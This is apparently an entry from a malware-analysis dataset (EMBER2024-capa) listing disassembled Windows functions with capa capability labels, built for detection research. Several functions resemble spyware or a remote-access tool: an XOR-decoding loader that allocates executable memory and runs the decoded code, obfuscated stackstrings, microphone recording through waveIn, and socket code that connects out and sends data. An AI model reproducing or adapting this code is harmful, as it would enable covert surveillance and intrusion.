joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4111d0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
mov esi, dword [sym.imp.advapi32.dll_RegOpenKeyExA]
push edi
lea eax, [ebp - 0xc]
push eax
xor ebx, ebx
inc ebx
push ebx
xor edi, edi
push edi
push 0x431bfc
push 0x80000002
mov dword [ebp - 4], edi
mov dword [ebp - 0x10], 0x200
call esi
test eax, eax
jne 0x411235
lea eax, [ebp - 8]
push eax
push str.EnableJavaUpdate
push dword [ebp - 0xc]
mov dword [ebp - 8], edi
call main
add esp, 0xc
test eax, eax
je 0x411227
cmp dword [ebp - 8], ebx
je 0x41122a
mov dword [ebp - 4], ebx
push dword [ebp - 0xc]
call dword [sym.imp.advapi32.dll_RegCloseKey]
jmp 0x411243
push str.ISAUDisabled__:_Error_opening_HKLM_Policy_key_for_reading
call main
pop ecx
mov dword [ebp - 4], ebx
cmp dword [ebp - 4], edi
jne 0x4112d5
call fcn.00410107
test eax, eax
jne 0x4112d2
call main
test eax, eax
je 0x4112d2
lea eax, [ebp - 0xc]
push eax
push ebx
push edi
push 0x431c74
push 0x80000001
call esi
test eax, eax
jne 0x4112d5
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x210]
push eax
push edi
push edi
push 0x431c9c
push dword [ebp - 0xc]
call dword [sym.imp.advapi32.dll_RegQueryValueExA]
push dword [ebp - 0xc]
mov esi, eax
call dword [sym.imp.advapi32.dll_RegCloseKey]
cmp esi, edi
jne 0x4112d5
mov dword [ebp - 8], edi
call fcn.0040feb9
test eax, eax
je 0x4112c7
push 4
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x10]
lea eax, [ebp - 0x210]
push eax
call fcn.0040ff5d
mov eax, dword [ebp - 8]
add esp, 0x10
jmp 0x4112cd
mov eax, dword [ebp - 0x210]
cmp eax, 0x64
jne 0x4112d5
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4187e4
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43a210]
jne 0x4187ee
repz ret
jmp fcn.00420617

Function at 0x4260bf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x4260ce
pop dword [ebp - 0x2c]
mov eax, 0xa24077c4
sub eax, 0xa1fe16f6
sub dword [ebp - 0x2c], eax
push 0x40
push 0x1000
push 0x3e9ac
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x2c]
call dword [eax]
mov ecx, 0x3b11
mov edx, eax
mov ebx, 0x440800
add ebx, dword [ebp - 0x2c]
mov esi, 0xe73e0b15
sub esi, 0x63b8f00a
mov dword [ebp - 0xc], 0xf1cfb303
mov edi, dword [ebx]
add dword [ebp - 0x14], 0x98af4b77
xor edi, esi
sub dword [ebp - 0x28], 0x188dfe57
mov dword [edx], edi
sub dword [ebp - 0x10], esi
add edx, 4
add ebx, 0x8694c960
sub ebx, 0x8694c95c
loop 0x42611c
add eax, 0xdf17
mov ebx, eax
add eax, 0x86a70443
sub eax, 0x86a7043e
mov ecx, 0x400000
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x4b36bb
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4b36f3
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004b1748
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004b1720
jmp 0x4b36ff
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4b4dae
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4b4df0
call fcn.004bab26
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4b4df0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4b4de7
xor eax, eax
jmp 0x4b4df8
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004b4dfe
pop edi
pop esi
pop ebx
ret 4

Function at 0x4bb056
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4bb084
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4bb0a2
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004bafbc
jmp 0x4bb0a2
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4bb0a2
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004bafbc
test edi, edi
mov eax, edi
jne 0x4bb08c
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x10001000
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
mov esi, ecx
mov al, 0x65
mov cl, 0x6c
mov byte [ebp - 0x23], al
mov byte [ebp - 0x1f], cl
mov byte [ebp - 0x1a], cl
mov byte [ebp - 0x19], cl
mov cl, 0x74
mov byte [ebp - 0x20], al
mov byte [ebp - 0x12], al
mov byte [ebp - 0xf], al
mov byte [ebp - 0xc], al
mov byte [ebp - 0x10], cl
mov byte [ebp - 0xa], cl
lea eax, [ebp - 0x14]
push edi
lea ecx, [ebp - 0x24]
mov dl, 0x6e
xor ebx, ebx
push eax
push ecx
mov dword [esi], 0x10015378
mov byte [ebp - 0x24], 0x6b
mov byte [ebp - 0x22], 0x72
mov byte [ebp - 0x21], dl
mov byte [ebp - 0x1e], 0x33
mov byte [ebp - 0x1d], 0x32
mov byte [ebp - 0x1c], 0x2e
mov byte [ebp - 0x1b], 0x64
mov byte [ebp - 0x18], bl
mov byte [ebp - 0x14], 0x43
mov byte [ebp - 0x13], 0x72
mov byte [ebp - 0x11], 0x61
mov byte [ebp - 0xe], 0x45
mov byte [ebp - 0xd], 0x76
mov byte [ebp - 0xb], dl
mov byte [ebp - 9], 0x41
mov byte [ebp - 8], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.WINMM.dll
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push ebx
push ebx
push ebx
push ebx
mov dword [0x1001a410], eax
call edi
push ebx
push ebx
push ebx
push ebx
mov dword [esi + 0x24], eax
call edi
mov dword [esi + 0x28], eax
mov dword [esi + 0x2c], ebx
mov dword [esi + 0x1c], ebx
mov dword [esi + 0x20], ebx
mov dword [esi + 4], 0x3e8
mov byte [esi + 0x44], bl
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [esi + 0x45], bl
lea edi, [esi + 0x30]
mov dword [ebp - 4], 2
mov edx, dword [esi + 4]
push edx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push 0x20
mov dword [edi - 0x28], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov dword [edi], eax
mov eax, dword [esi + 4]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push 0x20
mov dword [edi - 0x20], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov dword [edi + 8], eax
mov eax, dword [ebp - 4]
add esp, 0x10
add edi, 4
dec eax
mov dword [ebp - 4], eax
jne 0x100010d8
lea eax, [esi + 0x46]
xor ecx, ecx
mov edx, eax
pop edi
mov dword [edx], ecx
mov dword [edx + 4], ecx
mov dword [edx + 8], ecx
mov dword [edx + 0xc], ecx
mov dword [edx + 0x10], ecx
mov word [eax], 0x31
mov word [esi + 0x48], 1
mov dword [esi + 0x4a], 0x1f40
mov dword [esi + 0x4e], 0x659
mov word [esi + 0x52], 0x41
mov word [esi + 0x54], bx
mov word [esi + 0x56], 2
mov word [esi + 0x58], 0x140
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10001460
Capabilities:
Create thread
Link many functions at runtime
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x1001a410]
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
push str.waveInGetNumDevs
mov edi, ecx
push eax
call esi
call eax
test eax, eax
jne 0x1000148d
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x1001a410]
push str.waveInOpen
push ecx
call esi
lea edx, [ebp - 4]
mov esi, eax
push edx
push 4
push edi
push 0x10001680
push 0
push 0
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [edi + 0x2c], eax
mov eax, dword [ebp - 4]
push 0x20000
push 0
lea ecx, [edi + 0x46]
push eax
lea ebx, [edi + 0x18]
push ecx
push 0xffff
push ebx
call esi
test eax, eax
je 0x100014e4
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [0x1001a410]
push str.waveInPrepareHeader
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], eax
lea esi, [edi + 0x30]
mov dword [ebp - 8], 2
mov eax, dword [esi]
mov ecx, dword [esi - 0x28]
push 0x20
mov dword [eax], ecx
mov edx, dword [esi]
mov eax, dword [edi + 4]
mov dword [edx + 4], eax
mov ecx, dword [esi]
xor eax, eax
mov dword [ecx + 0x10], eax
mov edx, dword [esi]
mov dword [edx + 0x14], eax
mov eax, dword [esi]
mov ecx, dword [ebx]
push eax
push ecx
call dword [ebp - 0xc]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp - 8]
add esi, 4
dec eax
mov dword [ebp - 8], eax
jne 0x10001503
mov edx, dword [0x1001a410]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.waveInAddBuffer
push edx
call esi
mov ecx, dword [edi + 0x1c]
push 0x20
mov edx, dword [edi + ecx*4 + 0x30]
mov ecx, dword [ebx]
push edx
push ecx
call eax
mov edx, dword [edi + 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [0x1001a410]
push str.waveInStart
push eax
call esi
mov ecx, dword [ebx]
push ecx
call eax
mov al, 1
mov byte [edi + 0x44], al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10001ec0
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Initialize winsock library

Disassembly:
push 0xffffffffffffffff
push 0x10013d08
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1b8
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x10], esi
lea ecx, [esi + 4]
call fcn.10001a40
xor ebx, ebx
lea ecx, [esi + 0x2c]
mov dword [esp + 0x1d0], ebx
call fcn.10001a40
lea ecx, [esi + 0x54]
mov byte [esp + 0x1d0], 1
call fcn.10001a40
lea ecx, [esi + 0x7c]
mov byte [esp + 0x1d0], 2
call fcn.10001a40
mov al, 0x65
mov cl, 0x6c
mov byte [esp + 0x29], al
mov byte [esp + 0x2c], al
mov byte [esp + 0x1a], al
mov byte [esp + 0x1d], al
mov byte [esp + 0x20], al
mov byte [esp + 0x2d], cl
mov byte [esp + 0x32], cl
mov byte [esp + 0x33], cl
lea eax, [esp + 0x18]
lea ecx, [esp + 0x28]
mov dl, 0x6e
push eax
push ecx
mov byte [esp + 0x1d8], 3
mov dword [esi], 0x10015390
mov byte [esp + 0x30], 0x6b
mov byte [esp + 0x32], 0x72
mov byte [esp + 0x33], dl
mov byte [esp + 0x36], 0x33
mov byte [esp + 0x37], 0x32
mov byte [esp + 0x38], 0x2e
mov byte [esp + 0x39], 0x64
mov byte [esp + 0x3c], bl
mov byte [esp + 0x20], 0x43
mov byte [esp + 0x21], 0x72
mov byte [esp + 0x23], 0x61
mov byte [esp + 0x24], 0x74
mov byte [esp + 0x26], 0x45
mov byte [esp + 0x27], 0x76
mov byte [esp + 0x29], dl
mov byte [esp + 0x2a], 0x74
mov byte [esp + 0x2b], 0x41
mov byte [esp + 0x2c], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edx, [esp + 0x38]
mov edi, eax
push edx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ebp, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call ebp
add esp, 4
push ebx
push ebx
push 1
push ebx
call edi
push 0x30
mov dword [esi + 0xac], eax
call ebp
add esp, 4
mov byte [esi + 0xb5], bl
mov dword [esi + 0xa8], 0xffffffff
mov byte [esp + 0x10], 0x47
mov byte [esp + 0x11], 0x68
mov byte [esp + 0x12], 0x30
mov byte [esp + 0x13], 0x73
mov edx, dword [esp + 0x10]
lea ecx, [esi + 0xb0]
mov al, 0x74
pop edi
mov dword [ecx], edx
mov byte [ecx + 4], al
mov ecx, dword [esp + 0x1c4]
mov eax, esi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x1c4
ret
Function at 0x10002170
Capabilities:
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
push edi
mov esi, ecx
call fcn.100026a0
mov edi, dword [sym.imp.MSVCRT.dll_puts]
push 0x100180a0
call edi
mov eax, dword [esi + 0xac]
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0x100180a0
mov byte [esi + 0xb5], 0
call edi
add esp, 4
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push 0
mov dword [esi + 0xa8], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [esi + 0xa8], 0xffffffff
jne 0x100021db
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x20
ret 8
mov ebp, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call ebp
mov ecx, dword [esp + 0x38]
add esp, 4
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
push 0x30
mov ebx, eax
call ebp
add esp, 4
test ebx, ebx
jne 0x1000220c
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x20
ret 8
push 0x100180a0
mov word [esp + 0x24], 2
call edi
mov edx, dword [esp + 0x3c]
add esp, 4
push edx
call dword [sym.imp.WS2_32.dll_htons]
push 0
mov word [esp + 0x26], ax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebx + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov dword [esp + 0x24], edx
call edi
push str.connect
push str.WS2_32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [esi + 0xa8]
lea ecx, [esp + 0x20]
push 0x10
push ecx
push edx
call eax
cmp eax, 0xffffffff
jne 0x10002280
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x20
ret 8
call edi
push 0x30
mov byte [esp + 0x17], 1
call ebp
mov ecx, dword [esi + 0xa8]
add esp, 4
lea eax, [esp + 0x13]
push 1
push eax
push 8
push 0xffff
push ecx
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x100022f9
push 0x30
mov dword [esp + 0x18], 1
mov dword [esp + 0x1c], 0xea60
mov dword [esp + 0x20], 0x1388
call ebp
add esp, 4
mov ecx, dword [esi + 0xa8]
lea edx, [esp + 0x13]
lea eax, [esp + 0x14]
push 0
push 0
push edx
push 0
push 0
push 0xc
push eax
push 0x98000004
push ecx
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 0x30
call ebp
add esp, 4
push 1
push 0
push 0
push esi
push 0x10002330
push 0
push 0
mov byte [esi + 0xb5], 1
call fcn.1000af60
add esp, 0x1c
mov dword [esi + 0xa4], eax
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret 8
Function at 0x100026a0
Capabilities:
Set socket configuration

Disassembly:
push ecx
push esi
push edi
mov edi, dword [sym.imp.MSVCRT.dll_putchar]
mov esi, ecx
push 0x30
mov word [esp + 0xc], 1
mov word [esp + 0xe], 0
call edi
mov ecx, dword [esi + 0xa8]
add esp, 4
lea eax, [esp + 8]
push 4
push eax
push 0x80
push 0xffff
push ecx
call dword [sym.imp.WS2_32.dll_setsockopt]
push 0x30
call edi
mov edx, dword [esi + 0xa8]
add esp, 4
push edx
call dword [sym.imp.KERNEL32.dll_CancelIo]
push 0x30
call edi
add esp, 4
lea eax, [esi + 0xb5]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0x30
call edi
mov ecx, dword [esi + 0xa8]
add esp, 4
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
push 0x30
call edi
mov edx, dword [esi + 0xac]
add esp, 4
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x30
call edi
add esp, 4
mov dword [esi + 0xa8], 0xffffffff
pop edi
pop esi
pop ecx
ret

Function at 0x100028d0
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 8
push ebx
mov ebx, dword [esp + 0x14]
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov esi, dword [esp + 0x20]
push edi
mov edi, ebx
cmp ebx, esi
mov dword [esp + 0x14], ecx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x10], edi
jb 0x10002971
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0x24], 0
push 0x100180a0
call dword [sym.imp.MSVCRT.dll_puts]
mov eax, dword [esp + 0x18]
add esp, 4
mov ecx, dword [eax + 0xa8]
push 0
push esi
push ebp
push ecx
call dword [sym.imp.WS2_32.dll_send]
push 0
mov edi, eax
call ebx
test edi, edi
jg 0x10002942
mov eax, dword [esp + 0x24]
inc eax
cmp eax, 0xf
mov dword [esp + 0x24], eax
jl 0x10002907
cmp dword [esp + 0x24], 0xf
je 0x100029a7
mov edx, dword [esp + 0x1c]
push 0
add edx, edi
add ebp, esi
mov dword [esp + 0x20], edx
call ebx
push 0xa
call ebx
mov eax, dword [esp + 0x10]
sub eax, esi
cmp eax, esi
mov dword [esp + 0x10], eax
jae 0x100028ff
mov ebx, dword [esp + 0x20]
mov edi, eax
test edi, edi
jle 0x1000299f
xor esi, esi
mov edx, dword [esp + 0x14]
push 0
push edi
push ebp
mov eax, dword [edx + 0xa8]
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x10002996
inc esi
cmp esi, 0xf
jl 0x10002977
cmp esi, 0xf
je 0x100029a7
add dword [esp + 0x1c], eax
mov eax, dword [esp + 0x1c]
cmp eax, ebx
je 0x100029aa
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 0xc

Function at 0x100029d0
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x10
push esi
mov esi, dword [esp + 0x18]
test esi, esi
jne 0x100029e3
xor eax, eax
pop esi
add esp, 0x10
ret
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x10002a11
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ecx, dword [eax]
mov dword [esp + 4], ecx
mov edx, dword [eax + 4]
mov dword [esp + 8], edx
mov ecx, dword [eax + 8]
mov dword [esp + 0xc], ecx
mov eax, dword [eax + 0xc]
mov edx, dword [eax]
mov eax, dword [edx]
pop esi
add esp, 0x10
ret
Function at 0x10002b30
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x190
push esi
push edi
mov ecx, 0x1f
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x20
xor eax, eax
lea edi, [esp + 0x14]
lea edx, [esp + 0x94]
rep stosd dword es:[edi], eax
mov edi, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x94]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 8]
push ecx
push 0xf003f
push 0
push edx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10002bd8
lea eax, [esp + 0xc]
lea ecx, [esp + 0x14]
push eax
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x14]
push ecx
push edx
push 0
push 0x100181d4
push eax
mov dword [esp + 0x24], 0xc8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
lea edx, [esp + 0x14]
push str.2000
push edx
call esi
add esp, 8
test eax, eax
jne 0x10002c20
lea eax, [esp + 0x14]
push str.2003
push eax
call esi
add esp, 8
test eax, eax
jne 0x10002c20
lea ecx, [esp + 0x14]
push str.2008
push ecx
call esi
add esp, 8
test eax, eax
jne 0x10002c20
pop edi
pop esi
add esp, 0x190
ret
pop edi
mov eax, 1
pop esi
add esp, 0x190
ret
Function at 0x10004010
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100153b0
push 0x10013ae8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
push 0x30
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
mov edi, eax
mov dword [ebp - 0x24], edi
test edi, edi
je 0x10004187
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, edi
mov dword [ebp - 0x1c], esi
cmp byte [edi], 0x5c
jne 0x100040c7
lea eax, [edi + 1]
cmp byte [eax], 0x5c
jne 0x100040c7
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x100040a2
cmp al, 0x5c
je 0x100040a2
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x1000408a
cmp byte [esi], 0
je 0x100040ab
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x100040c0
cmp al, 0x5c
je 0x100040c0
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x100040a8
cmp byte [esi], 0
je 0x100040e6
jmp 0x100040e2
lea eax, [edi + 1]
cmp byte [eax], 0x3a
jne 0x100040e6
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x100040e6
cmp al, 0x5c
jne 0x100040e6
inc esi
mov dword [ebp - 0x1c], esi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov al, byte [esi]
test al, al
je 0x1000414b
cmp al, 0x5c
jne 0x1000413d
mov byte [esi], 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x20], eax
cmp eax, 0xffffffff
jne 0x10004130
push 0
call ebx
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x1000413a
push eax
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x1000413a
push 0
call ebx
push edi
jmp 0x1000417e
and eax, 0x10
cmp al, 0x10
je 0x1000413a
push edi
jmp 0x1000417e
mov byte [esi], 0x5c
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x100040ec
mov dword [ebp - 4], 0xffffffff
push edi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10004210
Capabilities:
Get disk information
Get disk size

Disassembly:
sub esp, 0x78c
push ebx
push ebp
push esi
lea eax, [esp + 0x138]
push edi
push eax
mov dword [esp + 0x2c], ecx
push 0x100
mov byte [esp + 0x3a4], 0x67
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
xor esi, esi
push str.Shell32.dll
lea ebp, [esp + 0x140]
mov dword [esp + 0x24], esi
mov dword [esp + 0x28], esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
push str.SHGetFileInfoA
push edi
mov dword [esp + 0x38], edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 0x34], eax
mov al, byte [esp + 0x13c]
test al, al
mov ebx, 1
je 0x100043ce
jmp 0x1000428b
xor esi, esi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x38]
push 0x104
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x3c]
push ecx
push esi
push esi
push esi
push esi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0x410
lea edx, [esp + 0x240]
push 0x160
push edx
push 0x80
push ebp
call dword [esp + 0x48]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x34c]
push eax
call esi
mov edi, eax
lea ecx, [esp + 0x38]
inc edi
push ecx
mov dword [esp + 0x30], edi
call esi
inc eax
mov dword [esp + 0x10], eax
mov al, byte [ebp]
cmp al, 0x41
je 0x1000433b
cmp al, 0x42
je 0x1000433b
lea edx, [esp + 0x20]
push 0
lea eax, [esp + 0x1c]
push edx
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x1000433b
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
mov ecx, 0x14
call fcn.10013af0
mov edx, dword [esp + 0x1c]
mov esi, eax
mov eax, dword [esp + 0x18]
mov ecx, 0x14
call fcn.10013af0
mov dword [esp + 0x14], eax
jmp 0x10004341
xor esi, esi
mov dword [esp + 0x14], esi
mov cl, byte [ebp]
push ebp
mov byte [esp + ebx + 0x3a0], cl
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov edx, dword [esp + 0x14]
mov ecx, edi
mov byte [esp + ebx + 0x39d], al
mov eax, ecx
mov dword [esp + ebx + 0x39e], esi
lea esi, [esp + 0x34c]
lea edi, [esp + ebx + 0x3a6]
mov dword [esp + ebx + 0x3a2], edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 0x2c]
and ecx, 3
push ebp
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x14]
lea edx, [eax + ebx]
lea esi, [esp + 0x3c]
lea edi, [esp + edx + 0x3aa]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, edx
add ecx, eax
lea ebx, [ebx + ecx + 0xa]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ebp, [eax + ebp + 1]
cmp byte [ebp], 0
jne 0x10004289
mov edi, dword [esp + 0x30]
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [esp + 0x28]
lea edx, [esp + 0x39c]
push ebx
push edx
call fcn.10007e90
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x78c
ret